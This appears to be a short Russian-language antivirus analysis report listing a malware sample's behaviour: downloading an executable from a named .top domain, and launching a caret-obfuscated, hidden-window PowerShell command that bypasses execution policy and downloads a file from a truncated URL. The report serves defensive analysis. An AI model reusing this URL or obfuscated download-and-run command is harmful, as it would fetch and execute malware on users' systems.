Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "P^OW^Ers^HEL^l.E^X^E -^eXECU^t^io^Np^OLicy bY^pA^ss ^-NoP^ro^fI^Le^ -^WINdo^WsTYl^e hIDDEN^ ^(^neW^-ob^j^ecT SysteM.^NET.We^bc^L^i^e^n^t^)^.^do^w^NL^Oa^DFi^Le^('http://www....
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "P^OW^Ers^HEL^l.E^X^E -^eXECU^t^io^Np^OLicy bY^pA^ss ^-NoP^ro^fI^Le^ -^WINdo^WsTYl^e hIDDEN^ ^(^neW^-ob^j^ecT SysteM.^NET.We^bc^L^i^e^n^t^)^.^do^w^NL^Oa^DFi^Le^('http://www....' (со скрытым окном)
